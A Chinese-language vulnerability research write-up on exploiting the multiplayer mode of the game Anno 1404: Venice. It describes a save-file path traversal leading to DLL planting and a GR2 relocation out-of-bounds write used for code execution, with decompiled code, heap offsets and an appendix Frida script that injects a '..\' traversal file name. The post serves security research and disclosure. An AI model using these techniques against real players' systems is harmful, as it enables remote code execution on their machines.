深入剖析Anno 1404:从路径遍历到DLL劫持与GR2文件格式漏洞利用

本文详细分析了经典策略游戏《纪元1404:威尼斯》中存在的多处安全漏洞。研究揭示了网络协议中的路径遍历缺陷、游戏资源RDA与GR2文件格式的解析问题,最终通过精心构造的GR2文件实现无需游戏重启的任意代码执行。

利用 Anno 1404

作者: Thomas Dubier - 2025年12月16日 - 发表于漏洞利用

Anno 1404是由Related Designs开发、育碧发行的策略游戏。这是一款专注于城市管理与建设的即时战略游戏。2010年发布的《Anno 1404:威尼斯》资料片包含在线和局域网多人游戏模式。在我们的研究中,发现了多个漏洞,组合利用这些漏洞可以在多人游戏模式下实现任意代码执行。

目录

引言

《Anno 1404:威尼斯》是一款可在多个平台(包括Steam、育碧Connect和GOG.com)上玩的策略游戏。我们的研究基于GOG上提供的DRM-free版本v2.01.5010。在此版本中,仅局域网多人游戏模式可用。

Anno 1404 菜单

多人游戏模式允许玩家保存游戏并在稍后继续。每个客户端和主机都会创建一个保存文件(扩展名为.sww)。当客户端连接到正在运行已保存游戏的主机时,该文件会自动从主机传输到客户端。这为漏洞研究提供了有趣的机会:文件是如何传输的?对允许的文件有任何限制吗?专有的保存文件格式也可能是一个有趣的攻击面。另一个有趣的点是,如下图所示,该进程是32位的,并且没有启用任何缓解措施。

通过System Informer查看的缓解措施列表

在启用3D加速的VirtualBox虚拟机中启动游戏时存在一些图形兼容性问题。可以通过文件%APPDATA%\Ubisoft\Anno1404Addon\Config\Engine.ini强制指定DirectX版本来修复此问题。

1
2
3
4
<UseDDSTextures>1</UseDDSTextures>
<DirectXVersion>9</DirectXVersion> <!-- 强制使用 DirectX 9 -->
<EnableTextureMemoryManagement>0</EnableTextureMemoryManagement>
<EnableModelMemoryManagement>0</EnableModelMemoryManagement>

网络协议

该游戏主要使用C++开发。然而,RTTI(运行时类型信息)和DLL导出的函数名称使逆向工程工作变得更容易。在网络方面,游戏使用其自己基于UDP的协议。该协议在NetComEngine3.dll中实现。我们首先尝试列出服务器和客户端之间交换的不同消息。我们特别关注了RMC类型的消息,因为它们提供了对大型攻击面的访问。根据下面方法中的日志字符串,程序通过RPC(远程过程调用)系统暴露对象。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
char __stdcall RMC_CallMessage(ByteStream *input, char a3, ByteStream *source, WString *a5)
{
  ByteStream *v4; // esi
  unsigned int targetObject; // ebp
  const wchar_t *v6; // eax
  const wchar_t *targetName; // [esp-Ch] [ebp-24h]
  const wchar_t *methodName; // [esp-8h] [ebp-20h]
  unsigned int v10; // [esp+8h] [ebp-10h] BYREF
  ByteStream *v11; // [esp+Ch] [ebp-Ch] BYREF
  int Flags; // [esp+10h] [ebp-8h] BYREF
  int methodID; // [esp+14h] [ebp-4h] BYREF

  v4 = input;
  Flags = 0;
  v11 = 0;
  v10 = 0;
  ByteStream::ReadElements(input, &input, 2, 1);
  ByteStream::ReadElements(v4, &Flags, 4, 1);
  ByteStream::ReadInteger(v4, (unsigned int *)&v11);
  ByteStream::ReadInteger(v4, &v10);
  ByteStream::ReadElements(v4, &methodID, 2, 1);
  if ( (_BYTE)source )
  {
    targetObject = v10;
    source = v11;
    methodName = ClassToMethodName(&v10, methodID);
    targetName = TargetName(&v10);
    v6 = TargetName(&v11);
    WString::Format(
      a5,
      (wchar_t *)L"RMC_CALL message RMC_ID: %d, Flags: %d, Source: %x (%s), TargetObject: %x (%s), Method: %s",
      (unsigned __int16)input,
      Flags,
      source,
      v6,
      targetObject,
      targetName,
      methodName);
  }
  if ( a3 )
    return sub_100633D0((int)v4, (unsigned __int16 *)&input, &v11, &Flags, &v10, (__int16 *)&methodID);
  else
    return 1;
}

根据RMC_CallMessage函数中显示的日志消息,RMC消息由以下字段组成:ID、Flags、Source、TargetObject和Method。暴力破解所有可能的类和方法ID可以穷举通过此类消息可访问的攻击面。为了实现这一点,编写了一个Frida脚本explore-surface.js,其输出显示在下面段落中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
> frida -l explore-surface.js Addon.exe

800000 = RootDO
c00000 = Station
   - 10 = SignalAsFaulty
1000000 = Session
   - 8 = RetrieveURLs
   - 9 = SynchronizeTermination
1400000 = IDGenerator
   - 4 = RequestIDRangeFromMaster
1800000 = PromotionReferee
   - 5 = ConfirmElection
   - 6 = DeclinePromotion
   - 7 = ElectNewMaster
3000000 = DefaultCell
4800000 = SessionClock
   - 11 = AdjustTime
   - 12 = SyncRequest
   - 13 = SyncResponse
7400000 = Player
   - 16 = ForceKickPlayer
   - 17 = Kick
   - 18 = OnCancelSendFile
   - 19 = OnReceivedFileData
   - 20 = OnSendFileData
   - 21 = OnSendFileInit
7800000 = Chat
   - 14 = onNewChatLine
7c00000 = GameSettings
   - 15 = ExecuteOnHost
8000000 = SyncProtocol
   - 22 = ClientToServerPing
   - 23 = ClientToServerSync
   - 24 = ConfirmHost
   - 25 = IdentifyHost
   - 26 = LeftGame
   - 27 = RequestMsgResend
   - 28 = ServerToClientPing
   - 29 = ServerToClientSync

该脚本显示每个对象的有效ID和名称,以及每个有效方法的ID和名称。我们发现了与文件传输相关的方法,特别是OnSendFileDataOnSendFileInitOnReceivedFileDataOnCancelSendFile

在服务器端,方法rd::netcom3::CNetComEngine3::sendFile用于向客户端发送文件。一个初始的"OnSendFileInit"数据包被发送到客户端,其中包含保存游戏的名称(默认为Sauvegarde.sww)。我们可以使用Frida在保存文件名中添加多个../来测试客户端的行为。此脚本可在附录中找到。

路径遍历漏洞演示

如上所示,保存文件被记录在C:\User\user而不是C:\Users\user\Documents\ANNO 1404 Venise\Savegames\MPShare。看起来客户端没有对文件名进行验证。这第一个漏洞(路径遍历)允许我们以应用程序的权限在系统上几乎任何位置(中等完整性级别和标准用户ACL)放置文件。游戏安装文件夹上的ACL(访问控制列表)是宽松的,这使得用户程序可以在那里存放任何文件。

安装目录上的权限

在Windows上,动态链接库首先从应用程序目录加载,然后从系统目录加载。我们可以放置一个DLL,该DLL将在下次启动游戏时被加载。如果游戏重启,这允许任意代码执行。我们现在将尝试在无需重启游戏的情况下实现代码执行。主要思路是用损坏的资源替换某个资源。

RDA格式

《纪元》游戏系列使用RDA格式来存储各种游戏资源(3D模型、声音、纹理、地图等)。这些存档位于addon和maindata文件夹中。像RDAExplorer这样的工具允许你探索、提取和修改这些存档的内容。

RDA Explorer 版本 1.4.0.0

RDA格式没有官方文档,但GitHub上有逆向工程工作的文档可供参考。

简而言之,RDA文件被划分为可变大小的链式块。每个块包含一定数量的文件及其压缩后的元数据。文件的元数据特别指定了它在存档中的位置和大小。数据使用DEFLATE算法进行压缩,该算法在zlib库中实现。下图总结了RDA存档的结构。

RDA格式

根据元数据中的标志字段,某些块可能被加密。所使用的加密基于XOR操作和用常量初始化的伪随机数生成器。解密函数的伪代码如下所示。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
char __cdecl xor_decrypt(wchar_t *buf, unsigned int size)
{
  signed int index; // esi

  srand(0xA2C2Au);
  index = 0;
  if ( size >> 1 )
  {
    do
      buf[index++] ^= rand();
    while ( index < (int)(size >> 1) );
  }
  return 1;
}

使用Process Monitor,我们可以观察到对存档的大量读取访问。因此,元数据很可能在游戏启动时加载到内存中。文件内容本身则只在需要时才加载到内存中。我们观察到在多人游戏期间会加载许多.gr2文件。

GR2格式

.gr2文件是以Granny Studio开发的专有格式保存的3D模型。该格式在那个时代的许多视频游戏中都有使用,例如MMORPG《仙境传说》。围绕该游戏的社区已在GitHub上部分记录了该格式。《纪元1404》使用一个名为granny2.dll的独立库来操作这些文件。简而言之,该格式可以在不同部分存储有关网格、骨骼、纹理和材质的信息。下图显示了一个.gr2文件的结构。

GR2格式

函数GrannyReadEntireFile用于将Granny 3D文件加载到内存中。程序首先读取文件头和节表。每个节被解压缩,然后加载到内存中(通过malloc为每个节保留空间)。

之后,程序为每个节应用重定位表。我们认为节可以包含对其他节中对象的引用。由于节没有映射到固定地址,库会更新这些引用。

重定位表中的条目由三个元素组成:

  • 节内偏移:将要更新的引用的位置(相对于与重定位表关联的节的起始位置)。
  • 节号:标识包含目标对象的节。
  • 偏移量:引用对象相对于与对象关联的节的起始位置。

漏洞

在研究重定位应用机制时,我们发现了一个漏洞。重定位表中的条目没有经过验证,具体来说:

  • SectionIndex成员未检查,这可能导致从数组(包含每个节的基本地址)越界读取。[1]
  • SectionOffset成员未检查,这可能导致向目标数组越界写入。[2]
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int *__cdecl GrannyGRNFixUp_0(DWORD RelocationCount, Relocation *PointerFixupArray, int *array, char *destination)
{
  int *result; // eax
  DWORD v6; // ebp
  Relocation *v7; // ecx
  int v8; // edx

  result = (int *)RelocationCount;
  if ( RelocationCount )
  {
    v6 = RelocationCount;
    do
    {
      v7 = PointerFixupArray;
      v8 = array[PointerFixupArray->SectionNumber]; // [1] 越界读取
      result = (int *)&destination[PointerFixupArray->SectionOffset]; // [2] 计算写入地址
      ++PointerFixupArray;
      *result = v8;  // [2] 越界写入
      if ( v8 )
        *result = v8 + v7->Offset;
      --v6;
    }
    while ( v6 );
  }
  return result;
}

如果我们知道节的内存地址(destination),我们可以设想构建一个任意内存写入的原语。然而,由于ASLR,节并不总是驻留在相同的地址。

利用

可以实现一种有趣的内存配置,其中节地址数组位于第一个内存节的数据之前。在这种情况下,节指针数组和节内容之间的偏移量是已知的。

要执行两个相邻的分配,需要了解Windows 10堆的一些工作原理细节。关于Windows 10段堆内部的论文很好地解释了底层机制。有两种类型的分配器:NT堆(在我们的案例中使用)和段堆。NT堆分为两个组件:

  • LFH(低碎片堆):用于小尺寸分配。
  • 后端:用于较大尺寸分配。

决定使用哪个分配器的阈值由ntdll.dllRtlpAllocateHeapInternal函数内的常量RtlpLargestLfhBlock定义。该值等于0x4000。自Windows 8起,LFH受到分配随机化的影响,这意味着我们无法保证一个数据块会分配在另一个数据块旁边,这使得利用不可靠。然而,后端分配器具有确定性的行为。

因此,我们使用一个包含许多节的.gr2文件,以便节指针数组被分配在一个大于0x4000字节的块大小中。为了填补堆中的任何空洞,创建了几个.gr2文件。这有助于提高漏洞利用的可靠性。下图表示节加载到内存后文件在内存中的布局。

内存布局

节数组覆盖示意图

GrannyFile结构的大小取决于节的数量。因此,当节数量 n = 2720 时,我们获得所需的大小:

1
0x20 + 0x20 + n * 1 + n * 1 + n * 4 = 0x4000

第一小节的重定位表被构造为修改SectionContentArray[1]指针。granny.dll库中的分配器依赖于Windows分配器,但添加了一个0x1F字节的头部。Windows分配器本身添加了0x10字节的头部,并且分配大小会与8或16字节对齐(取决于系统类型,32位或64位)。因此,偏移量-0x3FF00x4000 - 0x20 - 0x20 + 0x30)允许写入到SectionContentArray中。

建立写入原语

现在既然已知第二个节的地址,我们可以利用应用于第二个节的重定位表向内存写入任意值。granny.dll库不受ASLR(地址空间布局随机化)的影响,并且DEP(数据执行保护)未启用。因此,我们可以替换库中的alloc/free回调来执行代码。

概念验证

我们成功地在Windows 10(版本 10.0.19045.2965)上利用这些漏洞。

视频文件

附录

测试路径遍历漏洞的脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const ByteStreamWriteStringPtr = ptr('0x1003A250');

const ByteStreamWriteStringFn = new NativeFunction(ByteStreamWriteStringPtr,'pointer',['pointer','pointer'])

const mem = Memory.alloc(1024);
mem.writeUtf16String('..\\..\\..\\..\\Sauvegarde.sww');

Interceptor.attach(ByteStreamWriteStringFn, {
  onEnter(args) {
    
    if(args[1].readPointer().readUtf16String().includes('Sauvegarde.sww'))
    {
        console.log(hexdump(args[1].readPointer(), {
            offset: 0,
            length: 256,
            header: true,
            ansi: true
        }));

        args[1].writePointer(mem);

        console.log(hexdump(args[1].readPointer(), {
            offset: 0,
            length: 256,
            header: true,
            ansi: true
        }));
    }

  }
});

参考资料

  1. RDA文件格式
  2. GR2格式文档
  3. Windows 10段堆内部
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计